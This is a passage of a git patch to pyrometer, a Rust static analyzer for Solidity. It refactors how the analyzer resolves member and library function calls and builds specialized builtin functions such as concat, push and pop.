15:21:10 -0700 Subject: [PATCH 28/52] fixed intrinsics --- crates/graph/src/nodes/concrete.rs | 44 +- crates/pyrometer/src/analyzer_backend.rs | 5 + .../src/context_builder/flattened.rs | 223 +++++-- .../src/func_call/internal_call.rs | 267 +++++--- .../intrinsic_call/intrinsic_caller.rs | 1 + .../src/member_access/builtin_access.rs | 608 ++++++++++++------ .../src/member_access/contract_access.rs | 2 +- .../src/member_access/library_access.rs | 6 +- crates/solc-expressions/src/require.rs | 5 +- 9 files changed, 807 insertions(+), 354 deletions(-) diff --git a/crates/graph/src/nodes/concrete.rs b/crates/graph/src/nodes/concrete.rs index 64e2d472..34695419 100644 --- a/crates/graph/src/nodes/concrete.rs +++ b/crates/graph/src/nodes/concrete.rs @@ -707,28 +707,34 @@ impl Concrete { pub fn alt_lit_builtins(&self) -> Vec { let mut alts = vec![]; - if let Concrete::Uint(size, val) = self { - // literal(u160) -> address - if *size == 160 { - alts.push(Builtin::Address); - } + match self { + Concrete::Uint(size, val) => { + // literal(u160) -> address + if *size == 160 { + alts.push(Builtin::Address); + } + + // uint -> int, all size steps between + let mut new_size = *size; + let imax = U256::from(2).pow((*size - 1).into()); + // we may have to bump size by 8 bits + if val > &imax { + new_size += 8; + } + // if a valid + while new_size <= 256 { + alts.push(Builtin::Int(new_size)); + new_size += 8; + } - // uint -> int, all size steps between - let mut new_size = *size; - let imax = U256::from(2).pow((*size - 1).into()); - // we may have to bump size by 8 bits - if val > &imax { - new_size += 8; + // exact bytesX + let bytes_size = size / 8; + alts.push(Builtin::Bytes(bytes_size as u8)); } - // if a valid - while new_size <= 256 { - alts.push(Builtin::Int(new_size)); - new_size += 8; + Concrete::String(_) => { + alts.push(Builtin::DynamicBytes); } - - // exact bytesX - let bytes_size = size / 8; - alts.push(Builtin::Bytes(bytes_size as u8)); + _ => {} } alts } diff --git a/crates/pyrometer/src/analyzer_backend.rs b/crates/pyrometer/src/analyzer_backend.rs index 7e674e5d..37d1b540 100644 --- a/crates/pyrometer/src/analyzer_backend.rs +++ b/crates/pyrometer/src/analyzer_backend.rs @@ -485,6 +485,11 @@ impl AnalyzerLike for Analyzer { self.add_edge(func_node, self.entry(), Edge::Func); + let underlying_mut = FunctionNode::from(func_node).underlying_mut(self).unwrap(); + let name = underlying_mut.name.as_mut().unwrap(); + let full_name = format!("{}({})", name, params_strs.join(", ")); + name.name = full_name.clone(); + self.builtin_fn_nodes_mut() .insert(builtin_name.to_string(), func_node); Some(func_node) diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 89e2ccfd..bc455b69 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -2,7 +2,11 @@ use std::collections::BTreeMap; use crate::{ context_builder::{test_command_runner::TestCommandRunner, ContextBuilder}, - func_call::{func_caller::FuncCaller, internal_call::InternalFuncCaller, intrinsic_call::*}, + func_call::{ + func_caller::FuncCaller, + internal_call::{FindFunc, InternalFuncCaller}, + intrinsic_call::*, + }, loops::Looper, yul::YulFuncCaller, ExprTyParser, @@ -21,7 +25,7 @@ use shared::{ GraphError, IfElseChain, IntoExprErr, RangeArena, USE_DEBUG_SITE, }; use solang_parser::pt::{ - CodeLocation, ContractTy, Expression, Identifier, Loc, Statement, YulExpression, YulStatement, + CodeLocation, Expression, Identifier, Loc, Statement, YulExpression, YulStatement, }; impl Flatten for T where @@ -792,7 +796,7 @@ pub trait Flatten: // For clarity we make these variables let mut is_super = false; let named_args = false; - let mut num_inputs = input_exprs.len(); + let num_inputs = input_exprs.len(); match self.expr_stack_mut().pop().unwrap() { FlatExpr::Super(loc, name) => { is_super = true; @@ -801,15 +805,15 @@ pub trait Flatten: )); self.push_expr(FlatExpr::Variable(loc, name)); } - mem @ FlatExpr::MemberAccess(..) => { - // member.name(inputs) -> name(member, inputs) so we need - // to make sure the member is passed as an input - num_inputs += 1; - self.push_expr(FlatExpr::FunctionCallName( - num_inputs, is_super, named_args, - )); - self.push_expr(mem); - } + // mem @ FlatExpr::MemberAccess(..) => { + // // member.name(inputs) -> name(member, inputs) so we need + // // to make sure the member is passed as an input + // num_inputs += 1; + // self.push_expr(FlatExpr::FunctionCallName( + // num_inputs, is_super, named_args, + // )); + // self.push_expr(mem); + // } other => { self.push_expr(FlatExpr::FunctionCallName( num_inputs, is_super, named_args, @@ -884,7 +888,7 @@ pub trait Flatten: body_loc: Loc, stack: &mut Vec, ) -> Result<(), ExprErr> { - self.flat_apply_to_edges( + let res = self.flat_apply_to_edges( ctx, body_loc, arena, @@ -896,7 +900,14 @@ pub trait Flatten: stack: &mut Vec| { analyzer.interpret_expr(arena, ctx, stack) }, - ) + ); + + if let Err(e) = res { + ctx.kill(self, e.loc(), KilledKind::ParseError).unwrap(); + Err(e) + } else { + Ok(()) + } } fn interpret_expr( @@ -1029,7 +1040,7 @@ pub trait Flatten: | MoreEqual(loc) | And(loc) | Or(loc) => self.interp_cmp(arena, ctx, loc, next), // Function calling - MemberAccess(..) => self.interp_member_access(arena, ctx, stack, next), + MemberAccess(..) => self.interp_member_access(arena, ctx, stack, next, parse_idx), FunctionCall(..) => self.interp_func_call(arena, ctx, next, None), FunctionCallBlock(_) => todo!(), NamedArgument(..) => Ok(()), @@ -1224,6 +1235,7 @@ pub trait Flatten: ctx: ContextNode, stack: &mut Vec, next: FlatExpr, + parse_idx: usize, ) -> Result<(), ExprErr> { let FlatExpr::MemberAccess(loc, name) = next else { unreachable!() @@ -1236,33 +1248,74 @@ pub trait Flatten: // If the member access points to a library function, we need to keep the // member on the stack - let was_library_function = self.member_access(arena, ctx, member.clone(), name, loc)?; - if !was_library_function { - // It was unclear before knowing the node type of the member as to if - // the member function call took `self` or not (via a library function) - // - // Now that we know it was *not* a library function, we know it does not take self - // and therefore we *do* need to adjust the function call input length and - // *not* keep the member on the stack - match stack.get_mut(ctx.parse_idx(self)) { - Some(FlatExpr::FunctionCall(_, ref mut n)) => { - *n -= 1; - } - Some(FlatExpr::NamedFunctionCall(_, ref mut n)) => { - *n -= 1; + match ctx.take_expr_flag(self) { + Some(ExprFlag::FunctionName(n, super_call, named_args)) => { + let maybe_names = if named_args { + let start = parse_idx + 1; + Some(self.get_named_args(stack, start, n)) + } else { + None + }; + let member_idx = member.expect_single().into_expr_err(loc)?; + + let mut found_funcs = self + .find_func(ctx, name, n, &maybe_names, super_call, Some(member_idx)) + .into_expr_err(loc)?; + match found_funcs.len() { + 0 => Err(ExprErr::FunctionNotFound( + loc, + "Member Function not found".to_string(), + )), + 1 => { + let FindFunc { + func, + reordering, + was_lib_func, + } = found_funcs.swap_remove(0); + + self.order_fn_inputs(ctx, n, reordering, loc)?; + + if was_lib_func { + ctx.push_expr(member, self).into_expr_err(loc)?; + match stack.get_mut(ctx.parse_idx(self)) { + Some(FlatExpr::FunctionCall(_, ref mut n)) => { + *n += 1; + } + Some(FlatExpr::NamedFunctionCall(_, ref mut n)) => { + *n += 1; + } + Some(_) | None => {} + } + } + + let as_var = + ContextVar::maybe_from_user_ty(self, loc, func.into()).unwrap(); + let fn_var = ContextVarNode::from(self.add_node(as_var)); + ctx.add_var(fn_var, self).into_expr_err(loc)?; + self.add_edge(fn_var, ctx, Edge::Context(ContextEdge::Variable)); + ctx.push_expr(ExprRet::Single(fn_var.into()), self) + .into_expr_err(loc) + } + _ => { + let err_str = format!( + "Unable to disambiguate member function call, possible functions: {:?}", + found_funcs + .iter() + .map(|i| i.func.name(self).unwrap()) + .collect::>() + ); + Err(ExprErr::FunctionNotFound(loc, err_str)) + } } - Some(_) | None => { - // it wasn't a function call at all, remove the member + } + _ => { + let was_lib_func = self.member_access(arena, ctx, member.clone(), name, loc)?; + if was_lib_func { + todo!("Got a library function without a function call?"); } + + Ok(()) } - Ok(()) - } else { - // it was a library function that by definition takes self. - // Pop off the access (for now), add the member back onto the stack - // and readd the access - let access = ctx.pop_expr_latest(loc, self).unwrap().unwrap(); - ctx.push_expr(member, self).into_expr_err(loc)?; - ctx.push_expr(access, self).into_expr_err(loc) } } @@ -1764,34 +1817,39 @@ pub trait Flatten: None }; - if let Some((fn_node, input_reordering)) = self - .find_func(arena, ctx, name, n, &maybe_names, super_call) - .into_expr_err(loc)? - { - // reorder the inputs now that we have the function - let inputs = ctx.pop_n_latest_exprs(n, loc, self).into_expr_err(loc)?; - let mut tmp_inputs = vec![]; - tmp_inputs.resize(n, ExprRet::Null); - inputs.into_iter().enumerate().for_each(|(i, ret)| { - let target_idx = input_reordering[&i]; - tmp_inputs[target_idx] = ret; - }); - - // we reverse it because of how they are popped off the stack in the actual - // function call - tmp_inputs - .into_iter() - .rev() - .try_for_each(|i| ctx.push_expr(i, self)) - .into_expr_err(loc)?; - - let as_var = ContextVar::maybe_from_user_ty(self, loc, fn_node.into()).unwrap(); - let fn_var = ContextVarNode::from(self.add_node(as_var)); - ctx.add_var(fn_var, self).into_expr_err(loc)?; - self.add_edge(fn_var, ctx, Edge::Context(ContextEdge::Variable)); - return ctx - .push_expr(ExprRet::Single(fn_var.into()), self) - .into_expr_err(loc); + let mut found_funcs = self + .find_func(ctx, name, n, &maybe_names, super_call, None) + .into_expr_err(loc)?; + match found_funcs.len() { + 0 => { + // try a regular `variable` lookup + } + 1 => { + let FindFunc { + func, + reordering, + was_lib_func: _, + } = found_funcs.swap_remove(0); + self.order_fn_inputs(ctx, n, reordering, loc)?; + let as_var = + ContextVar::maybe_from_user_ty(self, loc, func.into()).unwrap(); + let fn_var = ContextVarNode::from(self.add_node(as_var)); + ctx.add_var(fn_var, self).into_expr_err(loc)?; + self.add_edge(fn_var, ctx, Edge::Context(ContextEdge::Variable)); + return ctx + .push_expr(ExprRet::Single(fn_var.into()), self) + .into_expr_err(loc); + } + _ => { + let err_str = format!( + "Unable to disambiguate member function call, possible functions: {:?}", + found_funcs + .iter() + .map(|i| i.func.name(self).unwrap()) + .collect::>() + ); + return Err(ExprErr::FunctionNotFound(loc, err_str)); + } } } Some(other) => { @@ -1811,6 +1869,31 @@ pub trait Flatten: ) } + fn order_fn_inputs( + &mut self, + ctx: ContextNode, + n: usize, + reordering: BTreeMap, + loc: Loc, + ) -> Result<(), ExprErr> { + // reorder the inputs now that we have the function + let inputs = ctx.pop_n_latest_exprs(n, loc, self).into_expr_err(loc)?; + let mut tmp_inputs = vec![]; + tmp_inputs.resize(n, ExprRet::Null); + inputs.into_iter().enumerate().for_each(|(i, ret)| { + let target_idx = reordering[&i]; + tmp_inputs[target_idx] = ret; + }); + + // we reverse it because of how they are popped off the stack in the actual + // function call + tmp_inputs + .into_iter() + .rev() + .try_for_each(|i| ctx.push_expr(i, self)) + .into_expr_err(loc) + } + fn interp_assign( &mut self, arena: &mut RangeArena>, @@ -1999,7 +2082,11 @@ pub trait Flatten: self.construct_contract_inner(arena, ctx, c, inputs, loc) } VarType::User(TypeNode::Func(s), _) => { - if self.builtin_fn_nodes().iter().any(|(_, v)| *v == func) { + if self + .builtin_fn_nodes() + .iter() + .any(|(_, v)| *v == s.0.into()) + { // its a builtin function call self.call_builtin(arena, ctx, &s.name(self).into_expr_err(loc)?, inputs, loc) } else { diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index a548760e..51d34481 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -1,21 +1,26 @@ //! Traits & blanket implementations that facilitate performing locally scoped function calls. -use crate::helper::CallerHelper; +use crate::{ + helper::CallerHelper, + member_access::{BuiltinAccess, LibraryAccess}, +}; use graph::{ - elem::Elem, - nodes::{ - Builtin, Concrete, ContextNode, ContextVarNode, ContractNode, ExprRet, FunctionNode, - StructNode, - }, + nodes::{BuiltInNode, ContextNode, ContextVarNode, ContractNode, FunctionNode, StructNode}, AnalyzerBackend, GraphBackend, Node, TypeNode, VarType, }; -use shared::{ExprErr, GraphError, NodeIdx, RangeArena}; +use shared::{ExprErr, GraphError, NodeIdx}; use solang_parser::pt::Expression; use std::collections::BTreeMap; +pub struct FindFunc { + pub func: FunctionNode, + pub reordering: BTreeMap, + pub was_lib_func: bool, +} + impl InternalFuncCaller for T where T: AnalyzerBackend + Sized + GraphBackend + CallerHelper { @@ -34,64 +39,115 @@ pub trait InternalFuncCaller: VarType::User(TypeNode::Contract(con), _) => { Some(con.ordered_new_param_names(self)) } - other => None, + _ => None, }, Node::Function(..) => Some(FunctionNode::from(func).ordered_param_names(self)), Node::Struct(..) => Some(StructNode::from(func).ordered_new_param_names(self)), Node::Contract(..) => Some(ContractNode::from(func).ordered_new_param_names(self)), - other => None, + _ => None, } } - fn construct_func_input_strings( + fn potential_lib_funcs( &mut self, - arena: &mut RangeArena>, ctx: ContextNode, + name: &str, num_inputs: usize, - ) -> Result>, GraphError> { - let stack = &ctx.underlying(self)?.expr_ret_stack; - let len = stack.len(); - let mut inputs = stack[len.saturating_sub(num_inputs)..].to_vec(); - inputs.reverse(); - Ok(inputs + maybe_named: &Option>, + maybe_member: Option, + ) -> Result, GraphError> { + let Some(member) = maybe_member else { + return Ok(vec![]); + }; + + let (var_ty, is_storage) = match self.node(member) { + Node::ContextVar(..) => { + let var = ContextVarNode::from(member); + (var.ty(self).unwrap().clone(), var.is_storage(self)?) + } + _ => (VarType::try_from_idx(self, member).unwrap(), false), + }; + + let mut funcs = self.possible_library_funcs(ctx, var_ty.ty_idx()); + if matches!(var_ty, VarType::BuiltIn(_, _)) { + if let Some((ret, is_lib)) = self.builtin_builtin_fn( + BuiltInNode::from(var_ty.ty_idx()), + name, + num_inputs, + is_storage, + )? { + if is_lib { + funcs.push(ret); + } + } + } + + println!( + "funcs: {:?}", + funcs + .iter() + .map(|i| i.name(self).unwrap()) + .collect::>() + ); + + let mut possible_funcs = funcs .iter() - .map(|input| input.expect_single().ok()) - .map(|idx| { - let Some(idx) = idx else { - return vec![]; - }; - match VarType::try_from_idx(self, idx) { - Some(VarType::BuiltIn(bn, _)) => match self.node(bn) { - Node::Builtin(inner) => inner - .possible_upcast_builtins() - .into_iter() - .map(|b| b.basic_as_string()) - .collect(), - _ => { - unreachable!() - } - }, - Some(VarType::Concrete(cn)) => match self.node(cn) { - Node::Concrete(c) => c - .as_builtin() - .possible_upcast_builtins() - .into_iter() - .map(|b| b.basic_as_string()) - .collect(), - _ => { - unreachable!() - } - }, - Some(ty) => { - let Ok(ty_str) = ty.as_string(self) else { - return vec![]; - }; - vec![ty_str] - } - _ => vec![], + .filter(|func| func.name(self).unwrap().starts_with(&format!("{name}("))) + .map(|func| (func, func.params(self))) + .filter(|(_, params)| { + // filter by param length, add 1 to inputs due to passing the member + params.len() == (num_inputs + 1) + }) + .filter(|(_, params)| { + if let Some(ref named) = maybe_named { + // we skip the first because its not named when used a library function + params + .iter() + .skip(1) + .all(|param| named.contains(&&*param.name(self).unwrap())) + } else { + true } }) - .collect()) + .map(|(func, _)| (*func, true)) + .collect::>(); + possible_funcs.sort(); + possible_funcs.dedup(); + Ok(possible_funcs) + } + + fn potential_member_funcs( + &mut self, + name: &str, + member: NodeIdx, + num_inputs: usize, + ) -> Result<(Vec, bool), GraphError> { + match self.node(member) { + // Only instantiated contracts and bytes & strings have non-library functions + Node::ContextVar(..) => { + let var = ContextVarNode::from(member); + match var.ty(self)? { + VarType::User(TypeNode::Contract(con_node), _) => { + let c = *con_node; + let func_mapping = c.linearized_functions(self, false)?; + Ok((func_mapping.values().copied().collect(), false)) + } + _ => Ok((vec![], false)), + } + } + Node::Builtin(_) => { + if let Some((ret, lib)) = + self.builtin_builtin_fn(BuiltInNode::from(member), name, num_inputs, false)? + { + println!("ret: {}, lib: {lib}", ret.name(self).unwrap()); + if !lib { + return Ok((vec![ret], true)); + } + } + Ok((vec![], false)) + } + _ => Ok((vec![], false)), + } } fn potential_funcs( @@ -100,39 +156,65 @@ pub trait InternalFuncCaller: name: &str, num_inputs: usize, maybe_named: &Option>, - ) -> Result, GraphError> { - let funcs = ctx.visible_funcs(self)?; + maybe_member: Option, + ) -> Result<(Vec<(FunctionNode, bool)>, bool), GraphError> { + let funcs = if let Some(member) = maybe_member { + let (mut funcs, early_end) = self.potential_member_funcs(name, member, num_inputs)?; + if early_end && funcs.len() == 1 { + return Ok((vec![(funcs.swap_remove(0), false)], true)); + } else { + funcs + } + } else { + ctx.visible_funcs(self)? + }; + + println!( + "funcs: {:?}", + funcs + .iter() + .map(|i| i.name(self).unwrap()) + .collect::>() + ); + let mut possible_funcs = funcs .iter() .filter(|func| func.name(self).unwrap().starts_with(&format!("{name}("))) - .filter(|func| { + .map(|func| (func, func.params(self))) + .filter(|(_, params)| { // filter by params - func.params(self).len() == num_inputs + params.len() == num_inputs }) - .filter(|func| { + .filter(|(_, params)| { if let Some(ref named) = maybe_named { - func.params(self) + params .iter() .all(|param| named.contains(&&*param.name(self).unwrap())) } else { true } }) - .copied() + .map(|(func, _)| (*func, false)) .collect::>(); + possible_funcs.extend(self.potential_lib_funcs( + ctx, + name, + num_inputs, + maybe_named, + maybe_member, + )?); possible_funcs.sort(); possible_funcs.dedup(); - Ok(possible_funcs) + Ok((possible_funcs, false)) } fn potential_super_funcs( &mut self, - arena: &mut RangeArena>, ctx: ContextNode, name: &str, num_inputs: usize, maybe_named: &Option>, - ) -> Result, GraphError> { + ) -> Result, GraphError> { if let Some(contract) = ctx.maybe_associated_contract(self)? { let mut possible_funcs: Vec<_> = contract .linearized_functions(self, true)? @@ -160,7 +242,7 @@ pub trait InternalFuncCaller: .collect(); possible_funcs.sort(); possible_funcs.dedup(); - Ok(possible_funcs) + Ok(possible_funcs.into_iter().map(|f| (f, false)).collect()) } else { Ok(vec![]) } @@ -168,24 +250,34 @@ pub trait InternalFuncCaller: fn find_func( &mut self, - arena: &mut RangeArena>, ctx: ContextNode, name: &str, num_inputs: usize, maybe_named: &Option>, is_super: bool, - ) -> Result)>, GraphError> { + member_access: Option, + ) -> Result, GraphError> { let possible_funcs = if is_super { - self.potential_super_funcs(arena, ctx, name, num_inputs, maybe_named)? + self.potential_super_funcs(ctx, name, num_inputs, maybe_named)? } else { - self.potential_funcs(ctx, name, num_inputs, maybe_named)? + let (mut funcs, early_end) = + self.potential_funcs(ctx, name, num_inputs, maybe_named, member_access)?; + if early_end { + return Ok(vec![FindFunc { + func: funcs.swap_remove(0).0, + reordering: (0..num_inputs).map(|i| (i, i)).collect(), + was_lib_func: false, + }]); + } else { + funcs + } }; println!( "potential funcs: {:?}", possible_funcs .iter() - .map(|i| i.name(self).unwrap()) + .map(|(i, _)| format!("{}", i.name(self).unwrap())) .collect::>() ); @@ -194,14 +286,21 @@ pub trait InternalFuncCaller: let mut inputs = stack[len.saturating_sub(num_inputs)..].to_vec(); inputs.reverse(); - let mut matched_funcs = possible_funcs + let matched_funcs = possible_funcs .iter() - .filter_map(|func| { + .filter_map(|(func, lib_func)| { let ordered_pos_to_input_pos: BTreeMap<_, _> = if let Some(input_names) = &maybe_named { - let Some(ordered_names) = self.ordered_fn_inputs(func.0.into()) else { + let Some(mut ordered_names) = self.ordered_fn_inputs(func.0.into()) else { return None; }; + ordered_names = if *lib_func { + // remove the first input for a lib function + ordered_names.remove(0); + ordered_names + } else { + ordered_names + }; if ordered_names[..] != input_names[..] { ordered_names @@ -217,8 +316,17 @@ pub trait InternalFuncCaller: } else { (0..num_inputs).map(|i| (i, i)).collect() }; - let tys = func - .params(self) + + let checked_params = if *lib_func { + // remove the first element because its already typechecked in a lib func + let mut params = func.params(self); + params.remove(0); + params + } else { + func.params(self) + }; + + let tys = checked_params .iter() .map(|param| VarType::try_from_idx(self, param.ty(self).unwrap()).unwrap()) .collect::>(); @@ -231,17 +339,16 @@ pub trait InternalFuncCaller: }); if all { - Some((*func, ordered_pos_to_input_pos)) + Some(FindFunc { + func: *func, + reordering: ordered_pos_to_input_pos, + was_lib_func: *lib_func, + }) } else { None } }) .collect::>(); - - if matched_funcs.len() == 1 { - Ok(Some(matched_funcs.swap_remove(0))) - } else { - Ok(None) - } + Ok(matched_funcs) } } diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs index 9754646b..73732437 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs @@ -166,6 +166,7 @@ pub trait IntrinsicFuncCaller: inputs: ExprRet, loc: Loc, ) -> Result<(), ExprErr> { + let name = name.split('(').collect::>()[0]; match name { // abi _ if name.starts_with("abi.") => self.abi_call_inner(ctx, name, inputs, loc), diff --git a/crates/solc-expressions/src/member_access/builtin_access.rs b/crates/solc-expressions/src/member_access/builtin_access.rs index 52ac6120..e6e90dd9 100644 --- a/crates/solc-expressions/src/member_access/builtin_access.rs +++ b/crates/solc-expressions/src/member_access/builtin_access.rs @@ -1,10 +1,13 @@ use crate::LibraryAccess; use graph::{ - nodes::{BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ExprRet}, - AnalyzerBackend, ContextEdge, Edge, + nodes::{ + BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ExprRet, Function, FunctionNode, + FunctionParam, FunctionParamNode, FunctionReturn, + }, + AnalyzerBackend, ContextEdge, Edge, VarType, }; -use shared::{ExprErr, IntoExprErr}; +use shared::{ExprErr, GraphError, IntoExprErr}; use ethers_core::types::{I256, U256}; use solang_parser::pt::{Expression, Loc}; @@ -31,208 +34,410 @@ pub trait BuiltinAccess: if let Some(ret) = self.library_func_search(ctx, node.0.into(), name) { Ok((ret, true)) } else { - match node.underlying(self).into_expr_err(loc)?.clone() { - Builtin::Address | Builtin::AddressPayable | Builtin::Payable => { - match name { - "delegatecall" | "call" | "staticcall" | "send" | "transfer" => { - // TODO: check if the address is known to be a certain type and the function signature is known - // and call into the function - let builtin_name = name.split('(').collect::>()[0]; - let func_node = self.builtin_fn_or_maybe_add(builtin_name).unwrap(); - Ok((ExprRet::Single(func_node), true)) - } - "codehash" => { - // TODO: try to be smarter based on the address input - let bn = self.builtin_or_add(Builtin::Bytes(32)); - let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) - .into_expr_err(loc)?; - let node = self.add_node(cvar); - ctx.add_var(node.into(), self).into_expr_err(loc)?; - self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - Ok((ExprRet::Single(node), false)) - } - "code" => { - // TODO: try to be smarter based on the address input - let bn = self.builtin_or_add(Builtin::DynamicBytes); - let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) - .into_expr_err(loc)?; - let node = self.add_node(cvar); - ctx.add_var(node.into(), self).into_expr_err(loc)?; - self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - Ok((ExprRet::Single(node), false)) - } - "balance" => { - // TODO: try to be smarter based on the address input - let bn = self.builtin_or_add(Builtin::Uint(256)); - let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) - .into_expr_err(loc)?; - let node = self.add_node(cvar); - ctx.add_var(node.into(), self).into_expr_err(loc)?; - self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - Ok((ExprRet::Single(node), false)) - } - _ => Err(ExprErr::MemberAccessNotFound( - loc, + self.builtin_builtins(ctx, node, name, is_storage, loc) + } + } + + fn builtin_builtin_fn( + &mut self, + node: BuiltInNode, + name: &str, + num_inputs: usize, + is_storage: bool, + ) -> Result, GraphError> { + println!( + "builtin builtin: {:?}, {name}", + node.underlying(self).unwrap() + ); + match node.underlying(self)?.clone() { + Builtin::Address | Builtin::AddressPayable | Builtin::Payable => { + match name { + "delegatecall" | "call" | "staticcall" | "send" | "transfer" => { + // TODO: check if the address is known to be a certain type and the function signature is known + // and call into the function + println!("here: {name}"); + let builtin_name = name.split('(').collect::>()[0]; + let func_node = + FunctionNode::from(self.builtin_fn_or_maybe_add(builtin_name).unwrap()); + Ok(Some((func_node, true))) + } + _ => Ok(None), + } + } + + Builtin::String => match name.split('(').collect::>()[0] { + "concat" => { + let full_name = format!( + "concat({})", + (0..num_inputs) + .map(|_| "string") + .collect::>() + .join(", ") + ); + let specialized = + if let Some(specialized) = self.builtin_fn_nodes().get(&full_name) { + (*specialized).into() + } else { + // construct a specialized version of concat + let func = self.builtin_fns().get("concat").unwrap().clone(); + let base_input = FunctionParam { + loc: Loc::Builtin, + ty: self.builtin_or_add(Builtin::String), + order: 0, + storage: None, + name: None, + }; + let mut inputs = (0..num_inputs) + .map(|_| base_input.clone()) + .collect::>(); + let outputs = vec![FunctionReturn { + loc: Loc::Builtin, + ty: self.builtin_or_add(Builtin::String), + storage: None, + name: None, + }]; + self.construct_specialized_builtin(func.clone(), inputs, outputs)? + }; + + Ok(Some((specialized, false))) + } + _ => Ok(None), + }, + Builtin::DynamicBytes => match name.split('(').collect::>()[0] { + "concat" => { + let full_name = format!( + "concat({})", + (0..num_inputs) + .map(|_| "bytes") + .collect::>() + .join(", ") + ); + let specialized = + if let Some(specialized) = self.builtin_fn_nodes().get(&full_name) { + (*specialized).into() + } else { + // construct a specialized version of concat + let func = self.builtin_fns().get("concat").unwrap().clone(); + let base_input = FunctionParam { + loc: Loc::Builtin, + ty: self.builtin_or_add(Builtin::DynamicBytes), + order: 0, + storage: None, + name: None, + }; + let mut inputs = (0..num_inputs) + .map(|_| base_input.clone()) + .collect::>(); + let outputs = vec![FunctionReturn { + loc: Loc::Builtin, + ty: self.builtin_or_add(Builtin::DynamicBytes), + storage: None, + name: None, + }]; + self.construct_specialized_builtin(func.clone(), inputs, outputs)? + }; + + Ok(Some((specialized, false))) + } + _ => Ok(None), + }, + Builtin::Array(inner) => { + if name.starts_with("push") { + if is_storage { + let empty_push = num_inputs == 0; + let self_ty = VarType::try_from_idx(self, node.0.into()).unwrap(); + let full_name = if empty_push { + format!("push({})", self_ty.as_string(self)?) + } else { format!( - "Unknown member access on address: \"{name}\", ctx: {}", - ctx.path(self) - ), - )), + "push({}, {})", + self_ty.as_string(self)?, + inner.as_string(self)? + ) + }; + let specialized = + if let Some(specialized) = self.builtin_fn_nodes().get(&full_name) { + (*specialized).into() + } else { + // construct a specialized version of concat + let func = self.builtin_fns().get("push").unwrap(); + let inputs = if empty_push { + vec![FunctionParam { + loc: Loc::Builtin, + ty: self_ty.ty_idx(), + order: 0, + storage: None, + name: None, + }] + } else { + vec![ + FunctionParam { + loc: Loc::Builtin, + ty: self_ty.ty_idx(), + order: 0, + storage: None, + name: None, + }, + FunctionParam { + loc: Loc::Builtin, + ty: inner.ty_idx(), + order: 0, + storage: None, + name: None, + }, + ] + }; + let outputs = if empty_push { + vec![FunctionReturn { + loc: Loc::Builtin, + ty: inner.ty_idx(), + storage: None, + name: None, + }] + } else { + vec![] + }; + self.construct_specialized_builtin(func.clone(), inputs, outputs)? + }; + + Ok(Some((specialized, true))) + } else { + Ok(None) } + } else if name.starts_with("pop") { + if is_storage { + let self_ty = VarType::try_from_idx(self, node.0.into()).unwrap(); + let full_name = format!("pop({})", self_ty.as_string(self)?); + let specialized = + if let Some(specialized) = self.builtin_fn_nodes().get(&full_name) { + (*specialized).into() + } else { + // construct a specialized version of concat + let func = self.builtin_fns().get("pop").unwrap(); + let inputs = vec![FunctionParam { + loc: Loc::Builtin, + ty: self_ty.ty_idx(), + order: 0, + storage: None, + name: None, + }]; + let outputs = vec![FunctionReturn { + loc: Loc::Builtin, + ty: inner.ty_idx(), + storage: None, + name: None, + }]; + self.construct_specialized_builtin(func.clone(), inputs, outputs)? + }; + Ok(Some((specialized, true))) + } else { + Ok(None) + } + } else { + Ok(None) } - Builtin::Bool => Err(ExprErr::MemberAccessNotFound( - loc, - format!( - "Unknown member access on bool: \"{name}\", ctx: {}", - ctx.path(self) - ), - )), - Builtin::String => match name.split('(').collect::>()[0] { - "concat" => { - let fn_node = self.builtin_fn_or_maybe_add("concat").unwrap(); - Ok((ExprRet::Single(fn_node), false)) + } + _ => Ok(None), + } + } + + fn construct_specialized_builtin( + &mut self, + func: Function, + inputs: Vec, + outputs: Vec, + ) -> Result { + let func_node = FunctionNode::from(self.add_node(func)); + let mut params_strs = vec![]; + inputs.into_iter().for_each(|input| { + let input_node = self.add_node(input); + params_strs.push(FunctionParamNode::from(input_node).ty_str(self).unwrap()); + self.add_edge(input_node, func_node, Edge::FunctionParam); + }); + outputs.into_iter().for_each(|output| { + let output_node = self.add_node(output); + self.add_edge(output_node, func_node, Edge::FunctionReturn); + }); + + let underlying_mut = func_node.underlying_mut(self)?; + let name = underlying_mut.name.as_mut().unwrap(); + let full_name = format!("{}({})", name, params_strs.join(", ")); + name.name = full_name.clone(); + + self.add_edge(func_node, self.entry(), Edge::Func); + + self.builtin_fn_nodes_mut() + .insert(full_name, func_node.0.into()); + + Ok(func_node) + } + + fn builtin_builtins( + &mut self, + ctx: ContextNode, + node: BuiltInNode, + name: &str, + is_storage: bool, + loc: Loc, + ) -> Result<(ExprRet, bool), ExprErr> { + match node.underlying(self).into_expr_err(loc)?.clone() { + Builtin::Address | Builtin::AddressPayable | Builtin::Payable => { + match name { + "delegatecall" | "call" | "staticcall" | "send" | "transfer" => { + // TODO: check if the address is known to be a certain type and the function signature is known + // and call into the function + let builtin_name = name.split('(').collect::>()[0]; + let func_node = self.builtin_fn_or_maybe_add(builtin_name).unwrap(); + Ok((ExprRet::Single(func_node), true)) } - _ => Err(ExprErr::MemberAccessNotFound( - loc, - format!( - "Unknown member access on string: \"{name}\", ctx: {}", - ctx.path(self) - ), - )), - }, - Builtin::Bytes(size) => Err(ExprErr::MemberAccessNotFound( - loc, - format!("Unknown member access on bytes{}: {name}", size), - )), - Builtin::Rational => 